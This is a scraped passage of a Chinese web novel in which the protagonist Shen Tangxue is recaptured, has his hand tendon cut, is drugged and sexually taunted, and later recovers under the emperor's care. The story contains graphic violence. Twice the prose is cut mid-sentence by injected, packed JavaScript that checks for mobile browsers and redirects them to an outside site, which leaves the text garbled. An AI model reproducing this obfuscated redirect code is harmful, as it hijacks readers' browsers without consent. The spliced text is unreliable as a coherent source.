“京城的货运到此地都要一月,哪还时兴!也就骗骗外乡人!” “你知晓什么!” 一路上吆喝声此起彼伏,摊贩互相笑骂打趣,一副安然景象。 他不由得柔和下眼神来,找了间客栈勒马住下。 没想到方坐下,京城的消息便踵至涌入耳中,“哎,你可知京城这些时日之事?” “怎会不知!这一个月太子殿下几乎要将城中翻了个遍!我瞧着呀,他……” 沈棠雪一愣,静静听着,才知方才摊贩说的小镇与京城关系紧密是真,时兴衣裳真的会送来,消息真的灵通,李妄迟…… 也真的找了他很久。 他不由得颤了颤眼睫,攥紧了袖中的手。只闭上眼,脑海便浮现了当时李妄迟看见那只溺死在药中的野猫时的眼神。 他那时会怕吗?恐怕……也真的很恨他吧。 看着所有人都避之不及、都在开脱自己的模样,眼睁睁地看着爱人倒戈,毫不留情地离去…… 也当是很怕的。 他低垂着眉眼,感觉心都被揪上一揪,百感交集。 可这样好歹能让他活着…… 他只想他活着。 当时李锦殊的准备已然充分得很了,只消李妄迟悄无声息死去,王储动荡,必将顺着形势而上。 届时,京城将是一场天翻地覆,十有八九会落得个民不聊生、一片萧条的景象。 ……当时形势水深火热,权衡之中,他也该做出这般选择的。他既做了,便没什么好后悔的。 只是今后……京城的一切与他无关了。 他也应当过好自己的日子才是。 沈棠雪在人群中转悠了几日,随着对小镇的人和事逐渐熟稔,也慢慢放下心来。 他有时也慢条斯理地凑到小摊前看上一看,捧着料子听商贩吆喝得天花乱坠,笑着附和,买件说是“京城新时兴”的衣裳。 随后温柔下眼来,缓缓噙起一抹怀念的浅笑。 医者也说他的手没什么事,好好调养数月也能好的,他还可以拿剑的…… 一切都在慢慢好转。 他想在此地落脚了,之后再寻打算。 在置办了宅子的那一日,艳阳高照。他正与有些相熟的摊贩笑谈,打道回府时,却没想到刚回院便迎面碰上一人。 他抬头望去,唇角的浅笑还未散去,面颊的血色便先褪了个干净。 “李……” 他哆嗦着嘴唇本能地往后躲去,却被人抓着手腕狠狠地砸在墙上。 “嘭!” 后背猛地砸向墙面,他吃痛地嘶了一声,更多的却是一股恐慌的冷意涌上心头。 李锦殊面沉如水,步步紧逼,看着他的眼神阴森森得仿若要将他吞吃入腹。 “还要跑哪里去?” 沈棠雪颤抖着身子,几乎要说不出话来,“你怎么……” 怎么知道我在这? 他自觉将行踪藏得严实,也未曾与其他人透露过,李锦殊怎会这么快找上来? 他暗暗额上沁了一滴冷汗,心中咯噔一声,僵硬着眼珠四处张望,没想到当真先行寻到了答案。 ……李锦殊身后站着的,是当时在草原见着的那人。 他顿时感觉脖子被一只无形的手攥紧了,如一盆冷水浇下,难言地颤抖着音调,沙哑地道: “你为什么……” 他自以为那人是难得能信任的人,可那人看着他的眼神,哪有前些日子那样的清澈目光。 那人面露讥讽,用唇形回道:“叛徒——” 沈棠雪的脑袋顿时嗡了一声,连身形猝不及防一晃。霎时明白了一切…… 草原的人早就全数知晓此事,都只是……在陪他演戏而已。 为什么……图什么?他们既知晓了此事,他此番又要逃,等回草原之后……又会受到怎样的 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分明瞳孔迷茫,连脚步都跌跌撞撞,他却决绝得只想要跑。 李锦殊的眼神霎时沉了下去,闪过一丝冷意,手上力度愈发加重,拽着沈棠雪的手腕就要将他拉到自己身前—— 下一秒,却见门前匆匆飞奔而来一人,一把将他推开,把沈棠雪紧紧搂在怀中。 “唰拉——” 衣物被人紧紧抓着,那人的手似还在颤抖。 沈棠雪感受着匆忙赶来的人带着慌乱和狼狈的气息,有些不可思议地睁大了眼。 闻着鼻尖熟悉的淡香,他不由自主地放松下来,颤声喊道:“哥……?” “阿雪……我来晚了,阿雪……” 沈从陵揽着他的力度都带着后怕,感受到他的回抱又将他揽得更紧,如同对待珍宝一般将他搂得小心。 是梦吗?这样的温暖……已经很久没有感觉到了。 沈棠雪有些恍然,有些疲惫地靠在他怀里缓缓闭了闭眼,却感觉鼻子一酸,眼睛都起了泪意。 沈从陵一声轻唤,都能让他顿时丢盔弃甲。 他不自觉带着哽咽委屈道:“哥……你怎么才来……” “你为什么要这么对我……” 沈从陵身子微僵,对他的谴责避而不谈,而是愈发放软声调,带着无限包容地侧过脸颊贴着他,轻声哄道: “不会了……再不会了,兄长护着你,好不好?” 好甜蜜又好陌生的温柔乡…… 沈棠雪靠在他怀中放缓了呼吸,分不清这是真是假。 寄人篱下的沈从陵怎敢在李锦殊面前说这种话……可这样的话语太过恳切,让他不觉沉浸一分又一分。 四周是宛若实质的视线,耳边血亲的呼吸平缓,出口的话语是他这些年来梦寐以求的温柔…… 他早无处可躲了。 18. 第十八章 “辚辚——” 车轮声滚动不断,回草原的路格外漫长。 众人神色如常,仿若当真是给足了沈从陵的面子,心照不宣地没再提起那件事。 可沈棠雪知晓,事情没这么快过去。 他闭着眼,闻着马车上氤氲的淡淡幽香,一手轻搭在膝前,缓缓靠坐在沈从陵身旁,半晌温和地抬眼看他。 “怎么了?”沈从陵问道。 沈棠雪笑了笑,“无事,我就看看你。” 这些年沈从陵同他心平气和说话的时候都少,更别谈三年生疏不见。 此事之后,他回草原之后不会好过……如今更是看一眼少一眼。 他对着众人都在演戏的模样心知肚明,却怎样都不想打破此刻梦境一样的温柔。 沈从陵对他凝定柔软的眼神招架不住,躲闪开来,装装样子地抚了抚他的后颈,转移话题道: “可是饿了?渴了?” 沈棠雪顺着他的话笑道:“都有。” 沈从陵敷衍地应了声,低下身去给他摆弄着糕点和茶水。 期间李锦殊眼神复杂地看了他一眼,被他平和着避开。他的视线始终未离沈从陵的身影,不知道在想什么。 半晌,他接过沈从陵递给他的茶水乖乖地喝着。 凑近一阵茶香扑鼻,入口的香味是曾经沈从陵喜欢的熟悉味道……没有掺杂一点杂质。 沈棠雪垂眸看着澄澈水波倒映出他的瞳孔,缓缓闭了闭眼,放松下肩头,“谢谢……哥。” 直至草原他都没有再闹过一分。车轮缓缓停下,熟悉的场景映入眼帘。在他下车去勾沈从陵的手,却被他若即若离地躲开时…… 他知晓美梦结束了。 转头望去,黑压压的一片人站在帐前无声地望着他。极强的压迫感将草原都照得灰蒙蒙的。 半晌,一道高大的阴影将他的身形都笼罩。 他微微侧过眼,隐隐绰绰地看见了李锦殊随他之后下车的身影,站在他身后,堵住他的退路。 “哟,这不是‘沈太傅’吗?舍得回来了?” “人家可是京城的大名人——得了太子殿下青眼的!哪管我们的死活?” “我看是沉浸在京城的花天酒地里,忘记撒泡尿照照自己是个什么东西了!” 他们本离成功只有一步之遥,倘若按着计划……李妄迟早就已经死了! 他们此时说不定已经攻下京城加官进爵,花天酒地,何必依然蜗居在这一隅? 都是因为这个叛徒将他们的计划打乱,如今又得从长计议! 无数怒气攒在心中,众人锐利的带着讨伐的意图的眼神纷纷刺向沈棠雪,几乎要将他血肉分食而去—— 却对上了李锦殊似笑非笑的眼神。 李锦殊漫不经心地站在沈棠雪身后,带着戏谑的笑意,单手若即若离地环着沈棠雪的腰肢,抬起眼皮缓缓环视一圈。 众人顿时心领神会,发出了然的坏笑。 暧昧的眼神在二人之间流转,沈棠雪下意识地指尖一颤,却不知何时手腕已经被李锦殊紧紧地攥着,逃脱不了一分。 他像被刺到一般闭了闭眼,半晌沉默地转头去看沈从陵。 不知何时沈从陵悄然离他十步之外,若有似无地与人群靠在一处,漠然地看着他。 见他望来,有些猝不及防地扯出一个温和的笑意。 可是眼神里的讥讽还未退去,显得格外撕裂。 沈棠雪的眼神沉沉,不知是什么情绪。半晌,他似是眼睫终于黯淡下来,顺从着转身向帐中走去。 “唰拉——” 他掀开帐帘,脚步很轻,身后一道脚步声紧随其后。 他能感觉到一道压迫感极强的视线盯着他的后颈,哪怕强装冷静,却还是避免不了身子微不可察的颤抖。 “哒,哒。” 一声一声脚步如同鼓点打在他的心上,身后的人影渐近。 沈棠雪紧绷着身子,却敏锐地察觉到周遭气压低得不似往日。 “呵……” 紧接着听见一声轻笑,脊椎骨涌上一片麻意,他下意识地紧紧攥住手中的木棍,警惕地转身望去。 视线之中,李锦殊的脸藏在阴影之中,显得更为阴沉。 那一双没有任何笑容的眼定定地看着他,像隐藏在黑暗中的狼豹。 李锦殊将视线转移到他的手上,露出一个不自量力的嘲讽微笑来, “事到如今……还觉着自己能自保?” 沈棠雪心上一惊,顿时抬手将木棍挡在身前—— 谁知手还未升到半空便被他禁锢般地攥住。 那只手越抓越紧,叫他的手腕咔咔作响,力度像是没有限度一般几乎要将他的手腕拧断。 李锦殊就着这个姿势歪了歪头,像是剥开了伪装的假面,似真诚疑惑地问道: “沈棠雪……你凭什么觉得背叛这么严重的事可以一点苦也不受便糊弄过去?” 沈棠雪心中咯噔一声,知晓他要算背叛与逃跑这两件事的总账了。 他身子一紧,便听见一声似笑非笑的冰冷语调,“……真是太惯着你了。” 下一秒,一阵让人招架不住的汹涌怒意席卷而来,沈棠雪瞳孔微张,便被他猛地拽着手腕拉到身前—— “怦,怦,怦!” 靠上他的胸膛时,沈棠雪听着自己狂跳不止的心跳声只觉震耳欲聋。一阵极其不好的预感涌上心头…… 下一秒便落到了实处! “你还想怎样跑?是这样——” 一道若有似无的戏谑呢喃落到他的耳畔,带着一声裹挟着怒意发笑的质问。 啪嗒一声,李锦殊捏着他手腕的力度使上巧劲。 他瞳孔一缩,感觉指尖发软,失重般骤然手心一空—— 那根被攥了许久的唯一能自保的木棍掉落在地。 “这样?” 用力捏着他手腕的那只宽大手掌顺势环住他整只右手。紧紧握住之时,揉捏着将他的手骨捏得咔嚓作响。 沈棠雪头皮发麻,一时传来一阵阵尖锐的痛感,一阵恐慌涌上心头。 “还是……” 冷锋乍现,一把不知哪里来的匕首出现在视线之中。 他顿时脸色煞白,像是预料到会发生一般拼命地往后退去,用哀求的眼神看向李锦殊。 可对上的只有他无动于衷的视线。 李锦殊垂眸冰冷地看着他的手,毫不犹豫地定定刺去—— 刀锋贴近皮肉的那一瞬,温热的血液喷涌而出。 嗡—— 沈棠雪脑中嗡鸣,瞳孔猛地睁大,天崩地裂般的痛楚汹涌奔向脑海,随着手筋被挑断,脑中的理智也霎时崩塌! “啊——!” 他的嘶吼声撕心裂肺,话到尾声都化作悲鸣。 他的指尖控制不住地剧烈颤抖,一阵一阵发凉的绝望涌上心头。身子不住发颤,止不住的泪意从眼角顺着脸颊落下。 这是他拿剑的手…… 他自保的手。 曾几何时这只手还因抓握木棍而掌心被刺出斑驳痕迹,还能感觉到痛…… 而此时连掌心都变得麻木……虚无…… 他好像……感觉不到它了。 他看着垂落下去的右手,努力地张开五指,想要抓住那个曾经熟悉的手指动弹的感觉…… 可只是徒劳。 滴答滴答的血液顺着指尖往下滴落,那一双漂亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036295|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛因着痛楚一下一下地失神,怔怔地看着。 半晌,他那颤动的纤长眼睫之下都弥漫上一层迷茫的灰蒙,黯淡无光。 往后……他不能拿剑了。 他浑身无力地瘫软在李锦殊怀里,看着那逐渐被鲜血蔓延的右手很久,很久…… 只手一松,便失神地跌落在地。 …… “那些人我们本来可以肆意杀——京城那些光鲜亮丽的百姓也只是我们手里可以随意处置的一张牌而已!你说是吧——” 那人顿了话语,意有所指地看向沈棠雪,“没酒了,快倒啊。” 已经不知是这样的第几日,沈棠雪浑浑噩噩地站在一旁,闻言望向那人,顺从地走过去替他斟酒。 抬手时虚浮的指尖还在发着抖,艰难地举着酒盏时,他吃力地蹙着眉,脸色苍白,倒出的酒液都歪歪扭扭的。 半晌,他脑袋一晕,忍不住身形一晃,一阵无力感汹涌袭来。 颤抖的指尖一松,酒盏瞬间被打落在地。 “扑通!” 飞洒的酒液倒了那人一身,其余倾倒满地,满堂顿时蔓延起浓郁的酒气,引起一阵惊呼。 被倒了一身酒的人匆匆地从食案上站起,一面大骂一面拍打着满被酒液沾湿的衣物, “他娘的——” 他怒从心起,一把攥着沈棠雪的衣襟,拾起地上倾洒了一大半的酒盏,把剩余的烈酒灌进他的喉咙里, “让你斟酒!让你斟酒!” 沈棠雪被他拽得踉跄地上前两步,双手握着酒盏吃力地推拒,却如蚍蜉撼树,只得被迫饮下那烈酒。 酒液顺着小巧的下巴流下,又有大半灌入喉中,霎时一阵如同刀割的辛辣感蔓延全身。 他的眼尾氤氲起一片薄红,攥着桌案的手扣到发白,虚浮得几乎要抓不住,含糊不清的呜咽都藏在嗓子里。 “嘭!” 他被那人猛地往前一推,重重砸到了墙面上。 如绸缎般的乌发散乱,他的瞳孔微微涣散,侧颊贴着墙面,低垂着头一深一浅地呼吸着,气息微弱颤抖。 “真是废物!” “就是啊!” 那人像是终于出了气,一边晦气地忒了一声大骂着,又有人跟着附和。 恍惚之中,似有人从椅凳上站起,向他走来。那人挡在他身前遮住众人的视线,安抚一般摸了摸他的额头,似是温柔。 沈棠雪气若游丝地半睁着眼侧过脸去,却只能看见个模糊的轮廓。 但他能分辨出来来人是沈从陵。 ……他这是做什么?也不怕扰了他同行人的兴。 他累得无力回应,只闭上眼,动了动指尖。 堂上还有人讥讽道:“不过斟个酒就能打翻了酒盏!这般没力气——看来昨夜很激烈啊?” “不知晓对他来说——李妄迟爽还是李锦殊爽啊?” 沈棠雪的呼吸逐渐粗重,气得发抖,下一秒眼前一暗,一只温热的手掌遮住了他的双眼,轻声道: “阿雪,别听……别看。” 沈棠雪缓缓睁开眼,纤长的睫羽在沈从陵的手心里扑闪。 他透过微张的指缝,看见了那张还带着淡淡担忧的熟悉脸庞。 他觉得可笑,又觉得可怕,怎会有人对待自己的亲弟弟是这样两副截然不同的面孔,最可怕的是—— 他分不清哪面是真的。 他真的想问问沈从陵,对他来说……他到底算什么呢? 需要哄他的时候可以装作那副温柔至极的兄长模样;不需要他的时候对着他的是可恨可怖的冰冷眼神…… 如今又是什么呢……是真心吗?还是依旧是虚情假意? 他看不懂。 19. 第十九章 次日,他的帐帘被人掀开,一道放缓的脚步声和温声询问收入耳中:“手还疼吗?” 沈棠雪闭着眼假寐,听出是沈从陵的声音也没有睁眼。 他的手废了也不是一日两日,经脉上的伤疤都已然结痂得只剩狰狞的红痕了,他还来问什么? 再说,昨日伤的也不是手。 见他没回应,沈从陵缓缓走近,将瓷碗轻轻置在花几上又轻声唤他,“阿雪。” 沈棠雪这才缓缓睁开眼,混沌地转过眼珠看向他。 沈从陵的神情温和,缓缓坐在床沿,亲昵地同他靠在一处。他的神情温柔,宛若这些年的隔阂都从未存在过。 就如同昨日挡在他面前一般……像幻梦一样。 可都是假的。 他闻出瓷碗中的药的味道了。 药中放的是草原独有的杜余草,会让人浑身无力、思绪逐渐混沌,而入药会散发出幽幽的香气…… 哪怕只有一点,他也闻得出来。 沈从陵也知晓他闻得出来。 这草药,是他带他认过的。 二人对视许久,像心照不宣,沈从陵没有说,他也没有问。 沈棠雪只定定看着他,瞳孔宛如荡着幽冷的泠泠冰泉,百感交集。 半晌,他如自嘲般轻呵一声,一言不发地闷声喝了。 之后窗外的树影摇曳、沈从陵离开的动作都像慢帧播放。他闭了闭眼,呼吸气若游丝,只觉时间过得太慢。 分明只是几日,他却感觉过了很久。 自那之后,无尽的无力感席卷而来,一阵一阵的混沌刺激着他的脑袋……那些不愿想起的、那最为狼狈的黑暗碎片涌入脑海。 嘲笑的……不屑的……憎恨的……暧昧的…… 他微微垂下眼,纤长睫羽下的双眼宛如泛着猩红。 梦魇与心魔渐生,恍惚之间,他的脑袋愈发混沌。 在李锦殊不知第几次走来时,他紧紧盯着那个厌恶的身影,脑海中只有一个想法—— 杀了他。 他像个提线木偶一般,僵硬地转动眼珠时脑中只有这一个鲜明的程序。 梦魇愈重,执念也重,他翻身坐上李锦殊腰间时,左手紧紧抓握住不知哪来的反复握在袖中思索了数日的匕首—— 猛地刺了下去! 沈棠雪染着猩红的眼中有孤注一掷的恨意,乌发披散之时,颤动的右手紧紧地掐住李锦殊的脖子,发狠地收紧—— “扑哧!” 血液迸发而出,滴答滴答地往下流,右手手腕上的伤口因着用力迸发开来。 可怖的鲜血徐徐流淌,他却紧紧盯着尖锐匕首刺入李锦殊胸膛。 直至匕首上喷涌出止不住的鲜血、浓郁的血腥味蔓延鼻尖时,他的眼中才闪过说不出的快意。 “李锦殊……你真该死。” 哪怕飞蛾扑火、蚍蜉撼树…… 恍惚之间,他看着李锦殊面色阴沉地抓住他手腕的模样,眼神闪过一丝讥讽与厌恶。 再恍惚之间,他似是耳边模糊地听见一句…… “他是不是醒了?” …… 沈棠雪自从刑场回来便发了高热,整个人如同从水里捞出来一样,梦魇之中,指尖还在剧烈地发着颤。 李妄迟不敢离去一分,这几日都守在床边,见他终于缓缓颤着眼睫睁开眼,疲惫的眼神闪过一丝光亮, “阿雪,你醒了?昏迷三日,你……” 沈棠雪有些恍然地坐起身,混沌地定定盯着前方,半晌才闻言僵硬着眼珠转眼看来。 他的瞳孔通红得发沉,还带着嗜血的杀意,却在见着他时瞳孔紧缩,像是看到什么豺狼虎豹一般往后挪了一步。 李妄迟一愣,感觉心上被针刺了一下,却还是小心翼翼地用手虚虚环在他的身侧,没有靠近。 不过半晌,沈棠雪身形一晃,猛地低垂下头捂着脑袋闷闷地“唔”了一声。 他皱了皱眉,只手无力地搭在床榻,脸色苍白如纸,紧闭上眼,额上冒了一滴冷汗。 半晌,他虚浮得似要往前倒去—— 被李妄迟急急忙忙小心地揽入怀中。 温软入怀,沈棠雪的呼吸颤抖,喷在颈边的呼吸都是冰的,李妄迟心上一沉,便见他的身子剧烈地颤抖起来。 沈棠雪的唇中溢出急促的喘息,发软的指尖搭着他的胸膛,却是在用尽全力地推搡, “滚……滚啊……” 李妄迟有些僵硬地睁大了眼,微微低头下意识抓住他的手腕,却见沈棠雪条件反射地躲了一躲,整个人颤了一下。 “李锦殊……” 从他的视线望去,只能看见沈棠雪微微躬着的被白衣勾勒出的瘦削脊背。 他低垂着头声音发颤,似是在害怕,病中却脆弱得有种黏糊的依恋感,连尾音都端得绵软颤抖。 一股荒诞之意涌上心头,烦闷堵在心口,李妄迟的眼神中闪过一丝颤抖的痛苦。 他黯然地松开沈棠雪的手腕,捧起他的脸颊颤着声道: “沈棠雪……你看看我是谁……” 沈棠雪迷茫地顺着他的视线抬起眼,眸中水光潋滟,瞳孔却是涣散的,看不清人。 李妄迟欲张口说些什么,却见门吱呀一声打开了。 谢将时端着药碗进来,见沈棠雪醒了,有些惊喜地走近,“阿雪,你醒了?” 沈棠雪闻言转眼望去,迷茫的眼神像是微微亮了一下,下一秒毫不犹豫地挣脱开他的束缚,扑到谢将时怀里。 李妄迟的手停在原地,心骤然空了一块。 他的手心还有那人的余温,冷的热的但是是鲜活的……而现在,没有了。 分明是他守了三天,却被毅然决然地挣脱了怀抱,为什么? 他僵硬地转眼望去,只见沈棠雪在谢将时怀里闭着眼神情安然,呼吸平缓许多。 半晌,沈棠雪有些迷茫地颤了颤眼睫,对着谢将时嘟囔道:“好痛……” 谢将时缓声问道:“哪里痛?” 沈棠雪 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沈棠雪脸色苍白,身子仍是虚浮,喝了药不过一会便又睡下了,阖眼之时,低垂着的眼睫显得好乖。 李妄迟独自敛眉坐在床沿,轻轻地捧起他的手腕,指尖避开那处伤口,摩挲他的手背、指节。 大病一场,沈棠雪本就瘦削的手呈现出一丝病态的苍白,修长的手指愈发骨感,只剩指尖还余一点晕开的淡粉。 睡梦之时他的指尖都不安地蜷起,连眉间都缓缓紧蹙着。半晌,呼吸急促,一浅一深。 李妄迟皱了皱眉,感觉到一丝不对,去探他的额头,却只探到一片滚烫。 他顿时心上一惊,连忙去唤太医来,不安地站在一旁。 太医来得很快,诊脉拿药一气呵成,却到最后面露凝重,说沈棠雪如今大病更伤元气,本就脆弱的身子病得更重…… 只余两个月不到的寿命了。 李妄迟脑袋嗡鸣一声,像是被定住一般怔在了原地。 他僵硬着眼神,定定看了沈棠雪很久很久,直至太医来来走走,煎药的人小声禀报,他才反应过来。 他的眼睛干涩,缓缓挪动脚步上前,脚步很慢,像是不想面对什么,又怕少看他一眼。 最终,还是闭了闭眼重新坐到了床沿。 之后几日,他总是头抵着床沿匆匆睡下,夜半又惊醒,顶着一双通红的眼睛去探沈棠雪的体温,不曾离开一步。 这种事,他不想假手于人。 直至日升月落,沈棠雪转醒已经不知是什么时候了。 在清晨伴随着鸟鸣的时候,被褥传来窸窣之声,有人微动了一下。 李妄迟正靠着床沿浅眠,听见动静顿时紧绷着脊背抬起头来。 他那一双顶着通红血丝的眼睛对上沈棠雪的眼神,顿时松快地笑了一下,疲惫地嘶哑着笑道: “阿雪。” 20. 第二十章 沈棠雪一愣,没想到是他在这里,定定地看向他,纤长眼睫微颤,“你怎么在这。” 清醒之后,他的眼神比前些日子清明了许多。瞳孔于阳光洒落之下泛着微微的光芒,目光带着温柔的凝定。 听着他的问话,李妄迟有些手忙脚乱地抬起眼,“我……我来照顾你。” 他没日没夜地照看了几日,眼底有疲惫,看着沈棠雪时眼神却亮晶晶的,似有欣喜却又后怕。 沈棠雪颤了颤眼睫,似也感觉到了他这几日的疲惫不安。 听着他沙哑得过分的语调,他不由得沉默地微蜷指尖,没有躲开,只是微微别过眼去。 他这个微小的动作让李妄迟心中一喜,忙不慌地拉紧他的手,又放轻地拢着。 他的语气患得患失,略带紧张地小心翼翼追问这些时日一直想问的事: “阿雪,当年你减少药量……是因为不想让我死么?” 他的声音轻柔,却没想到沈棠雪身子一僵,脊背警惕地紧绷了一瞬。 转眼看向他时,方才眼里升起的一丝温情霎时消失殆尽。 李妄迟早就知晓所有的事,如今却在此时旧事重提是什么意思? 他本以为他是温柔体贴,是知晓他快死了,看着他们曾经残存的情谊照顾两分…… 没想到还是有所图谋。 第一次他在宫里提起草原的事,在他最脆弱崩溃的时候把内心伤口撕开,说兄长还是没带你走,说你还不是要落到我手里; 第二次将他囚在宫里,模仿李锦殊的作派…… 这一次……又是什么? 是要知晓当初是他太心软也真的太在乎他,甘愿为他经受这一切,然后再冷嘲热讽他一遍吗? 沈从陵曾经也是这样,总是做出一副很有迷惑性的温柔样子让他放松警惕…… 一旦得到想要的答案就露出爪牙……将他抓得遍体鳞伤。 他不想再重蹈覆辙了。 沈棠雪闭了闭眼,松开他的指尖,自嘲地轻呵一声,淡漠地答道:“不是为你。” 李妄迟一愣,定定地看着他追问道:“那是因为什么?” 沈棠雪抬起一双幽深的眼睛看了他许久,半晌启唇道: “倘若天下之首是李锦殊那般残暴之人……还有草原那群酒囊饭袋,只会生灵涂炭,世间哀鸿遍野。” 他淡笑一下,又撇开关系道:“相比之下,这天下还不如不要变。别误会,这事与你无关。” 李妄迟闻言脸色骤然变了,眼神闪过一股难言的受伤之意。 他沉默地蜷了蜷手指,身子微僵,许久都未开口。 沈棠雪心中嗤笑一声,暗道果然如此,眸色暗了几分。 正当他以为李妄迟会露出真面目狰狞地同他对峙时,李妄迟却只是神情黯然,放缓声调缓缓开口道: “之前还未来得及告诉你……那一夜暗杀你的刺客是皇后的人。他利用了他祖辈暗中培养的死士,尚余些蛛丝马迹,已然被我揪出。” 他在京城未曾结仇,李锦殊入狱之后,他也并未与其他人有过利益相关的争执。 如若当真有一个人想要他死,那确也只能是皇后了。 沈棠雪点了点头,疏离道:“那还是请陛下管好自己的家务事。” 这句话宛如一根尖刺,将李妄迟刺得差点蹦起来,他猛地抬起头,像是急于证明什么,急急反驳道: “我没有,他不是……” 沈棠雪盯着他,眼神漠然,李妄迟于他面前急急地辩解,又说不出个所以然来了。 李妄迟沉默了半晌,闷声哄道:“这事我会处理好的,你别生气好不好? ” 沈棠雪冷笑一声,“我生什么气?” 李妄迟自觉理亏,像个做错的孩子一样蜷了蜷手指,低垂着头。 他知晓自己扎沈棠雪的心了,不敢去看他淡漠的眼神。半晌,小心翼翼地抬头,“箭伤还疼吗?” 沈棠雪沉默地侧过眼感受了一下肩头的箭伤。其实没有很痛,没有当年在草原受的伤痛。 他还未反应过来,便见一只手缓缓探向他肩头的伤口。 那只手悬在半空不动,迟迟没有靠近,像是想碰又不敢碰。 李妄迟心疼地抬起眼,用眼神描摹着他的伤口。 半晌,他收回悬在空中的手,转而小心地去触碰他的指尖,像是想到什么,眼神里闪过一丝悲哀, “阿雪……我不求你原谅我的。但是照顾好自己好不好?” 沈棠雪一愣,没想到等来这么一句,眼神微动,没有说话。 …… 次日,大雪纷飞,白茫茫的街道上有无数道交叠着前进的脚印。 一群侍人搬着沉重的箱子往宅里送,阵仗大张旗鼓,让人想忽视都难。 街道人来人往,有不少人往里面望, “喏,方才搬箱子的这人我认识,是在御前办事的,怎么会在这?” “我方才还瞧见有人说看见沈太傅的身影了呢!这可是谢家宅子……莫非他现在是住在谢大人这里?” “那陛下会乐意?想必是宣示主权来了!你看,这一箱一箱送来的可是贵重物什!” “啧啧,这阵仗……队伍后头还跟着好几位太医呢……” 一时谢家宅院面前挤满了人,窸窣讨论声不断。 沈棠雪搭着披风方收到消息往外走,听见这些话,霎时阴沉下脸来。 他看着门前忙活的熟悉的人,走过去唤道:“徐公公。” 徐公公见着他,连忙来迎,“哎哟——小贵人,天冷,您怎么出来了?” 沈棠雪不答,环视一圈,“这是什么?” 徐公公一喜,笑着说道:“这是陛下瞧着宅院简陋,给您送来的……” 沈棠雪打断他的话,“全数退回去。” 徐公公笑意一僵,往后望着身后瞧着的百姓,干笑着道: “沈太傅……这恐怕不妥吧,陛下送来的东西,退回去……恐怕有损圣颜啊 。” 沈棠雪瞥他一眼。那他现在借住在谢将时这里,李妄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李妄迟不为所动,冷眼看着他,“是罪该万死……想来当真御前过得顺风顺水,连圣上口谕都敢擅传了。” “拖出去——杖责三十大板!” 三十大板下去对于徐公公必然是要命的,徐公公也有些骇然地战栗了,他不住求饶,声音凄厉, “陛下——陛下饶命啊!奴才以后再也不敢了!” 他带着害怕的颤抖,正欲被人拖出去时,沈棠雪却于心不忍地别过头去,开口道:“算了。” 他又重复了一遍,替徐公公求情,“算了,想来他也不是故意。” 李妄迟顿时如一盆冷水浇下,余怒未消,站在一旁看着这场闹剧时,自嘲地嗤笑一声,没有回答。 他僵硬地转动眼珠,看着他一步一步走上几百阶去求的玉佩就这样被沈棠雪丢在一旁。 方才欣喜进屋时也被沈棠雪淡漠质问的话语打断。 他闭了闭眼,逐渐红了眼眶,看向沈棠雪时有不解和受伤,“那你为什么对别人都这么宽容心软……却对我这样?” “为什么要给我冷眼……那我又做错了什么?” “沈棠雪,我做错什么了?” 21、第二十一章 屋内被收拾得整齐,侍人全数被遣散了去,一时屋内空空荡荡。沈棠雪沉默地坐在床榻边,看着窗外飘雪。 “吱呀——” 轻缓的一声推门声响起,他转眼望去,对上了谢将时一双清泠泠的眼睛。 谢将时缓缓走近,看着依旧空旷的屋内,缓声问道: “他的东西你没收吗?确也都是些好东西呢。” 沈棠雪张了张口,本想说那般引人注目的架势实在不妥,想起那事儿是徐公公自作主张,又将话咽了回去,闷声只道: “没有。” 谢将时没有言语,坐到了他的身旁。瞧着他有些心不在焉的模样,垂眸望去,缓声道: “还在怪他吗?” 沈棠雪一僵,垂下眸子缓缓别过脸去。 瞧着他避而不谈的模样,谢将时沉默地看着,轻叹了一口气, “阿雪,你有没有想过……之前李妄迟对你的那些事可能另有隐情?” 沈棠雪抬眼看他,“什么意思?” 谢将时思索着近日的事,斟酌着字句道: “他也许无意伤你的心,也……没有想要模仿那些恶人的作派,他确是不知晓有关草原的那些事。” 沈棠雪反驳道:“是李妄迟亲口对我道出他知晓那些……” “但他知晓的真的是全貌吗?” 沈棠雪停了话语,定定地看着谢将时,不知他何出此言。 谢将时好似知晓他在想什么,放缓了声调,“阿雪……我不是在帮他说话,我是在为你考虑。” “你曾经为他做这么多……爱这么深。甚至因此……变成如今这样,真的说不爱就不爱了吗?我不信。” 沈棠雪眼睫微颤,没有说话。 “爱也是会消磨的……阿雪,不要这样。” 沈棠雪一顿,沉默了很久,迟迟没有开口。 不知过了多久,他缓缓转眼看向被随意放置在花几上的玉佩,有些恍然。 视线之下,那枚玉佩色泽剔透,金线穿针精致,于阳光之下散发着温暖的光芒。 他缓缓将其拿起,入手之时触感温润,还带着若有似无的暖意,温暖着他的手心。 他低垂下眸子,想起李妄迟进屋时递给他此物的期待眼神和藏不住的笑意,眼神微动。 …… 次日,李妄迟听侍人来禀说有人求见,颔了颔首, “让他进来。” 不过半晌,一名面容贫苦的百姓哆嗦着身子走进殿中。那人瞧着衣食无忧,衣物都是上好的棉布,神情却粗鄙。 他冥思苦想地蹩脚学着朝堂礼仪向李妄迟作了个揖,大声道:“ 陛、陛下,草民有一件三年前的事情想要禀报!” 李妄迟半信半疑地看着他。三年前有什么事需要一百姓来说?能说什么事? 但此人是谢将时找来面圣的,他便也没驳面子,沉下心来由着他讲。 那人缓缓走上前来,从兜中捧出一条被洗得干净的帕子小心地递给他, “草民三年前是长信宫办事的伙计,却在当时被一位漂亮公子找上,说要草民帮他干一件事。” 李妄迟接过帕子来。那枚帕子通体是白,只是上头绣着一只云鹤,高昂着头,形状独特。 